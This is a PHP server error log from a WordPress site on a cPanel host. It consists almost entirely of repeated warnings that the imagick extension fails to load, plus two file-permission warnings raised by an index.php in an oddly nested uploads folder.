[28-Aug-2026 08:39:17 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:17 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:18 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:18 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:19 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:19 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:20 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:22 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:23 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:23 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:23 America/Sao_Paulo] PHP Warning:  fileperms(): stat failed for /home/cienp/public_html/inct-inovamed/wp-includes/certificates/content/uploads/wyw/images.zip in /home/cienp/public_html/inct-inovamed/wp-includes/certificates/content/uploads/wyw/index.php on line 138
[28-Aug-2026 08:39:24 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:24 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:25 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:25 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:26 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:26 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:26 America/Sao_Paulo] PHP Warning:  fileperms(): stat failed for /home/cienp/public_html/inct-inovamed/wp-includes/certificates/content/uploads/wyw/SimplePie.zip in /home/cienp/public_html/inct-inovamed/wp-includes/certificates/content/uploads/wyw/index.php on line 138
[28-Aug-2026 08:39:27 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:29 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:30 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:30 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:31 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:31 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:32 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:32 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:33 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:33 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:34 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:34 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:35 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:35 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:36 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:36 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:37 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:37 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:38 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:38 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:39 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:39 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:40 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:40 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:41 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:42 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:42 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:43 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:43 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:44 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:47 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:47 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:48 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:48 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:49 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:39:49 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:40:29 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:40:32 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:40:35 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:40:36 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:40:38 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:40:38 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:41:35 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:42:28 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:42:31 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:42:31 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:42:32 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:42:32 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:42:33 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:42:33 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:42:48 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:42:52 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:42:52 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:42:53 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:42:54 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:42:55 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:44:33 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:44:34 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:44:34 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:44:35 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:44:35 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:44:36 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:44:36 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:44:37 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:44:37 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:44:38 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:44:38 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:44:39 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:44:41 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:44:42 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:44:42 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:44:43 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:44:43 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:44:48 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:44:48 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:44:49 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:44:49 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:44:50 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:44:51 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:44:51 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:44:52 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:44:52 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:44:53 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:44:53 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:44:54 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:44:54 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:44:55 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:44:55 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:44:56 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:44:56 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:44:57 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:44:57 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:44:58 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:44:58 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:44:59 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:44:59 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:00 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:00 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:01 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:01 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:02 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
